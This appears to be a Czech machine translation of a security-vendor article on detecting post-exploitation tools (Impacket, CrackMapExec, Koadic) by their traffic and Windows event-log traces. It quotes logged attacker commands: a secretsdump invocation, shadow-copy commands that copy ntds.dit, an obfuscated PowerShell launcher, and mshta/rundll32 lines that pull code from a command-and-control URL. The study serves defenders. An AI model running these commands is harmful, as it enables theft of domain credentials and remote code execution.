Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů

Počet útoků ve firemním sektoru každým rokem roste: např. v roce 2017 zaznamenala o 13 % více unikátních incidentů než v roce 2016 a na konci roku 2018 — o 27 % více incidentůnež v předchozím období. Včetně těch, kde je hlavním pracovním nástrojem operační systém Windows. V letech 2017-2018, APT Dragonfly, APT28, APT MuddyWater provedl útoky na vládní a vojenské organizace v Evropě, Severní Americe a Saúdské Arábii. A použili k tomu tři nástroje - Imppacket, CrackMapExec и Koadic. Jejich zdrojový kód je otevřený a dostupný na GitHubu.

Za zmínku stojí, že tyto nástroje neslouží k prvotnímu průniku, ale k rozvoji útoku v rámci infrastruktury. Útočníci je používají v různých fázích útoku po průniku perimetrem. To se mimochodem těžko odhaluje a často jen s pomocí techniky detekce stop kompromitace v síťovém provozu nebo nástroje k tomu detekovat aktivní akce narušitele poté, co pronikne do infrastruktury. Nástroje poskytují různé funkce, od přenosu souborů po interakci s registrem a provádění příkazů na vzdáleném počítači. Provedli jsme studii těchto nástrojů, abychom určili jejich síťovou aktivitu.

Co jsme museli udělat:

  • Pochopte, jak fungují hackerské nástroje. Zjistěte, co útočníci potřebují zneužít a jaké technologie mohou použít.
  • Najděte to, co není detekováno nástroji zabezpečení informací v prvních fázích útoku. Fáze průzkumu může být přeskočena, buď proto, že útočník je interní útočník, nebo proto, že útočník využívá chybu v infrastruktuře, která nebyla dříve známa. Je možné obnovit celý řetězec jeho akcí, a proto vzniká touha detekovat další pohyb.
  • Odstraňte falešné poplachy z nástrojů detekce narušení. Nesmíme zapomínat, že když jsou určité akce odhaleny pouze na základě inteligence, jsou možné časté chyby. Obvykle v infrastruktuře existuje dostatečné množství způsobů, na první pohled nerozeznatelných od legitimních, jak získat jakékoli informace.

Co tyto nástroje dávají útočníkům? Pokud se jedná o impacket, pak útočníci získají velkou knihovnu modulů, které mohou být použity v různých fázích útoku po průniku perimetrem. Mnoho nástrojů používá moduly Impacket interně, jako je Metasploit. Má dcomexec a wmiexec pro vzdálené spouštění příkazů, secretsdump pro získání paměťových účtů přidaných z Impaketu. V důsledku toho správná detekce aktivity takové knihovny zajistí detekci derivátů.

O CrackMapExec (nebo jednoduše CME) tvůrci napsali „Powered by Impacket“ z nějakého důvodu. Kromě toho má CME připravenou funkcionalitu pro oblíbené scénáře: jde o Mimikatz pro získávání hesel nebo jejich hashů a představení agenta Meterpreter nebo Empire pro vzdálené provádění a Bloodhound na palubě.

Naším třetím nástrojem je Koadic. Je poměrně svěží, byl představen na mezinárodní hackerské konferenci DEFCON 25 v roce 2017 a má nestandardní přístup: funguje přes HTTP, Java Script a Microsoft Visual Basic Script (VBS). Tento přístup se nazývá život z půdy: nástroj využívá sadu závislostí a knihoven zabudovaných do Windows. Tvůrci tomu říkají COM Command & Control, neboli C3.

IMPACKET

Funkčnost Impacket je velmi široká, sahá od průzkumu v rámci AD a sběru dat z interních MS SQL serverů, konče technikami pro získání přihlašovacích údajů: jedná se o SMB relay útok a získání souboru ntds.dit obsahujícího hash uživatelských hesel z domény. ovladač. Impacket také provádí příkazy vzdáleně pomocí čtyř různých metod: přes WMI, službu pro správu plánovače Windows, DCOM a SMB, a k tomu potřebuje přihlašovací údaje.

tajná skládka

Pojďme se podívat na secretsdump. Toto je modul, který může cílit jak na uživatelské počítače, tak na řadiče domény. S ním můžete získat kopie oblastí paměti LSA, SAM, SECURITY, NTDS.dit, takže je lze vidět v různých fázích útoku. Prvním krokem v provozu modulu je autentizace přes SMB, která k automatickému provedení útoku Pass the Hash vyžaduje buď heslo uživatele, nebo jeho hash. Dále přichází požadavek na otevření přístupu do Service Control Manager (SCM) a získání přístupu do registru pomocí protokolu winreg, pomocí kterého může útočník zjistit data větví, které ho zajímají, a získat výsledky přes SMB.

Na Obr. 1 přesně vidíme, jak se při použití protokolu winreg získává přístup pomocí klíče registru s LSA. Chcete-li to provést, použijte příkaz DCERPC s operačním kódem 15 - OpenKey.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 1. Otevření klíče registru pomocí protokolu winreg

Dále, když je získán přístup pomocí klíče, hodnoty jsou uloženy příkazem SaveKey s operačním kódem 20. Impacket to dělá velmi specifickým způsobem. Uloží hodnoty do souboru, jehož název je řetězec 8 náhodných znaků s připojeným .tmp. Navíc k dalšímu načítání tohoto souboru dochází přes SMB z adresáře System32 (obr. 2).

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 2. Schéma pro získání klíče registru ze vzdáleného počítače

Ukazuje se, že takovou aktivitu na síti můžete odhalit dotazem na určité větve registru pomocí protokolu winreg, konkrétní jména, příkazy a jejich pořadí.

Také tento modul zanechává stopy v protokolu událostí Windows, díky čemuž je snadno detekován. Například v důsledku provedení příkazu

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

v protokolu Windows Server 2016 uvidíme následující klíčovou sekvenci událostí:

1. 4624 - Vzdálené přihlášení.
2. 5145 - kontrola přístupových práv ke vzdálené službě winreg.
3. 5145 - kontrola přístupových práv k souboru v adresáři System32. Soubor má náhodný název uvedený výše.
4. 4688 – vytvoření procesu cmd.exe, který spustí vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - vytvoření procesu pomocí příkazu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - vytvoření procesu pomocí příkazu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - vytvoření procesu pomocí příkazu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Stejně jako mnoho nástrojů po exploataci má Impacket moduly pro vzdálené provádění příkazů. Zaměříme se na smbexec, který vám poskytuje interaktivní příkazový shell na vzdáleném počítači. Tento modul také vyžaduje autentizaci přes SMB buď heslem nebo jeho hashem. Na Obr. 3 vidíme příklad fungování takového nástroje, v tomto případě se jedná o lokální administrátorskou konzoli.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 3. interaktivní konzole smbexec

Prvním krokem v smbexec po ověření je otevření SCM pomocí příkazu OpenSCManagerW(15). Dotaz je pozoruhodný: má pole MachineName nastavené na DUMMY.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 4. Požádejte o otevření Správce řízení služeb

Dále je služba vytvořena pomocí příkazu CreateServiceW (12). V případě smbexec můžeme vidět pokaždé stejnou logiku sestavování příkazů. Na Obr. 5 zelená barva označuje neměnné parametry příkazu, žlutá - co může útočník změnit. Je snadné vidět, že název spustitelného souboru, jeho adresář a výstupní soubor lze změnit, ale zbytek je mnohem obtížnější změnit bez porušení logiky modulu Impaket.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 5. Požádejte o vytvoření služby pomocí Správce řízení služeb

Smbexec také zanechává jasné stopy v protokolu událostí systému Windows. V protokolu Windows Server 2016 pro interaktivní příkazový shell s příkazem ipconfig vidíme následující klíčovou sekvenci událostí:

1. 4697 – instalace služby na počítač oběti:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - vytvoření procesu cmd.exe s argumenty z bodu 1.
3. 5145 - kontrola přístupových práv k souboru __output v adresáři C$.
4. 4697 - Instalace služby na počítač oběti.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - vytvoření procesu cmd.exe s argumenty z bodu 4.
6. 5145 - kontrola přístupových práv k souboru __output v adresáři C$.

Impacket je základem pro vývoj útočných nástrojů. Podporuje téměř všechny protokoly v infrastruktuře Windows a zároveň má své vlastní vlastnosti. Zde jsou konkrétní požadavky winreg a použití SCM API s charakteristickou tvorbou příkazů a formátem názvů souborů a sdílením SMB SYSTEM32.

CRACKMAPEXEC

Nástroj CME je určen především k automatizaci těch rutinních akcí, které musí útočník provést, aby postoupil v rámci sítě. Umožňuje vám pracovat ve spojení s notoricky známým agentem Impéria a Meterpreterem. Chcete-li provádět příkazy neviditelně, CME je může zatemnit. Pomocí Bloodhound (samostatný průzkumný nástroj) může útočník automatizovat hledání relace aktivního správce domény.

policejní pes

Bloodhound jako samostatný nástroj vám umožňuje provádět pokročilý průzkum v rámci sítě. Shromažďuje data o uživatelích, počítačích, skupinách, relacích a přichází jako skript PowerShell nebo binární soubor. Ke sběru informací se používá LDAP nebo protokoly založené na SMB. Integrační modul CME vám umožňuje stáhnout Bloodhound do počítače oběti, spustit jej a po spuštění přijímat shromážděná data, čímž automatizuje akce v systému a činí je méně nápadnými. Grafický shell Bloodhoundu prezentuje nasbíraná data ve formě grafů, což umožňuje najít nejkratší cestu od stroje útočníka ke správci domény.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 6. Rozhraní Bloodhound

Pro spuštění na počítači oběti modul vytvoří úlohu pomocí ATSVC a SMB. ATSVC je rozhraní pro práci s Plánovačem úloh systému Windows. CME používá svou funkci NetrJobAdd(1) k vytváření pracovních míst po síti. Příklad toho, co modul CME posílá, je na obr. 7: toto je volání příkazu cmd.exe a obfuskovaný kód ve formě argumentů ve formátu XML.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Obr.7. Vytvoření úlohy přes CME

Po odeslání úkolu k provedení spustí stroj oběti samotného Bloodhounda a je to vidět na provozu. Modul se vyznačuje LDAP dotazy pro získání standardních skupin, seznamu všech strojů a uživatelů v doméně, získání informací o aktivních uživatelských relacích prostřednictvím SRVSVC NetSessEnum požadavku.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 8. Získání seznamu aktivních relací přes SMB

Kromě toho je spuštění Bloodhounda na počítači oběti s povoleným auditováním doprovázeno událostí s ID 4688 (vytvoření procesu) a názvem procesu. «C:WindowsSystem32cmd.exe». Pozoruhodné jsou v něm argumenty příkazového řádku:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

Modul enum_avproducts je velmi zajímavý z hlediska funkčnosti a implementace. WMI vám umožňuje používat dotazovací jazyk WQL k získávání dat z různých objektů Windows, což je v podstatě to, co tento modul CME používá. Generuje dotazy do tříd AntiSpywareProduct a AntiMirusProduct na ochranné nástroje nainstalované na počítači oběti. Za účelem získání požadovaných dat se modul připojí k jmennému prostoru rootSecurityCenter2, poté vygeneruje dotaz WQL a obdrží odpověď. Na Obr. 9 ukazuje obsah takových požadavků a odpovědí. V našem příkladu byl nalezen Windows Defender.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 9. Síťová aktivita modulu enum_avproducts

Často lze vypnout auditování WMI (Trace WMI-Activity), v jehož událostech můžete najít užitečné informace o dotazech WQL. Ale pokud je povoleno, pak pokud je spuštěn skript enum_avproducts, bude uložena událost s ID 11. Bude obsahovat jméno uživatele, který odeslal požadavek, a jméno v oboru názvů rootSecurityCenter2.

Každý z modulů CME měl své vlastní artefakty, ať už šlo o specifické WQL dotazy nebo o vytvoření určitého typu úlohy v plánovači úloh s obfuskací a aktivitou specifickou pro Bloodhound v LDAP a SMB.

KOADIC

Charakteristickým rysem Koadic je použití vestavěných interpretů JavaScript a VBScript ve Windows. V tomto smyslu sleduje trend života z půdy – to znamená, že nemá žádné externí závislosti a využívá standardní nástroje Windows. Jedná se o nástroj pro plnohodnotné Command & Control (CnC), protože po infekci je na stroji instalován „implantát“ umožňující jeho ovládání. Takový stroj se v terminologii Koadic nazývá „zombie“. Pokud na straně oběti není dostatek oprávnění, aby mohla plně fungovat, má Koadic možnost je zvýšit pomocí technik bypassu řízení uživatelských účtů (UAC bypass).

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 10. Příkazový shell Koadic

Oběť musí zahájit komunikaci se serverem Command & Control. K tomu potřebuje získat přístup k předem připravenému URI a získat hlavní tělo Koadic pomocí jednoho ze stagerů. Na Obr. 11 ukazuje příklad pro stager mshta.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 11. Inicializace relace s CNC serverem

Z proměnné WS odpovědi je zřejmé, že ke spuštění dochází prostřednictvím WScript.Shell a proměnné STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE obsahují klíčové informace o parametrech aktuální relace. Toto je první pár požadavek-odpověď v HTTP připojení k serveru CnC. Následné požadavky přímo souvisí s funkčností volaných modulů (implantátů). Všechny moduly Koadic fungují pouze s aktivní relací CnC.

Mimikatz

Stejně jako CME pracuje s Bloodhoundem, Koadic pracuje s Mimikatz jako samostatný program a má několik způsobů, jak jej spustit. Níže je uvedena dvojice žádost-odpověď pro stažení implantátu Mimikatz.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 12. Přeneste Mimikatz do Koadic

Můžete vidět, jak se změnil formát URI v požadavku. Má hodnotu pro proměnnou csrf, která je zodpovědná za vybraný modul. Nevšímejte si jejího jména; všichni víme, že CSRF je obvykle chápán jinak. V reakci na to přišlo stejné hlavní tělo Koadic, ke kterému byl přidán kód související s Mimikatz. Je poměrně velký, takže se podívejme na klíčové body. Zde je knihovna Mimikatz zakódovaná v base64, serializovaná třída .NET, která ji vloží, a argumenty pro spuštění Mimikatz. Výsledek provedení je přenášen po síti v čistém textu.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 13. Výsledek spuštění Mimikatz na vzdáleném počítači

Exec_cmd

Koadic má také moduly, které mohou provádět příkazy na dálku. Zde uvidíme stejnou metodu generování URI a známé proměnné sid a csrf. V případě modulu exec_cmd je do těla přidán kód, který je schopen spouštět příkazy shellu. Následující kód je zobrazen v odpovědi HTTP serveru CnC.

Jak odhalit útoky na infrastrukturu Windows: zkoumání hackerských nástrojů
Rýže. 14. Kód implantátu exec_cmd

Pro spuštění kódu je vyžadována proměnná GAWTUUGCFI se známým atributem WS. S jeho pomocí implantát zavolá shell, zpracuje dvě větve kódu - shell.exec s návratem výstupního datového toku a shell.run bez návratu.

Koadic není typický nástroj, ale má své vlastní artefakty, pomocí kterých jej lze nalézt v legitimním provozu:

  • speciální vytváření požadavků HTTP,
  • pomocí rozhraní winHttpRequests API,
  • vytvoření objektu WScript.Shell prostřednictvím ActiveXObject,
  • velké spustitelné tělo.

Počáteční připojení iniciuje stager, takže je možné detekovat jeho aktivitu prostřednictvím událostí Windows. Pro mshta je to událost 4688, která označuje vytvoření procesu s atributem start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Při spuštění Koadic lze vidět dalších 4688 událostí s atributy, které jej dokonale charakterizují:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Závěry

Trend živobytí mimo zemi získává mezi kyberzločinci na oblibě. Pro své potřeby využívají vestavěné nástroje a mechanismy Windows. Vidíme, že populární nástroje Koadic, CrackMapExec a Impacket podle tohoto principu se v APT reportech objevují stále častěji. Roste i počet forků na GitHubu pro tyto nástroje, objevují se nové (už teď je jich asi tisíc). Trend získává na oblibě díky své jednoduchosti: útočníci nepotřebují nástroje třetích stran, jsou již na strojích obětí a pomáhají obcházet bezpečnostní opatření. Zaměřujeme se na studium síťové interakce: každý výše popsaný nástroj zanechává své stopy v síťovém provozu; jejich podrobné studium nám umožnilo naučit náš produkt PT Network Attack Discovery odhalit je, což v konečném důsledku pomáhá prošetřit celý řetězec kybernetických incidentů, které se jich týkají.

Autoři:

  • Anton Tyurin, vedoucí oddělení expertních služeb, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Zdroj: www.habr.com

Přidat komentář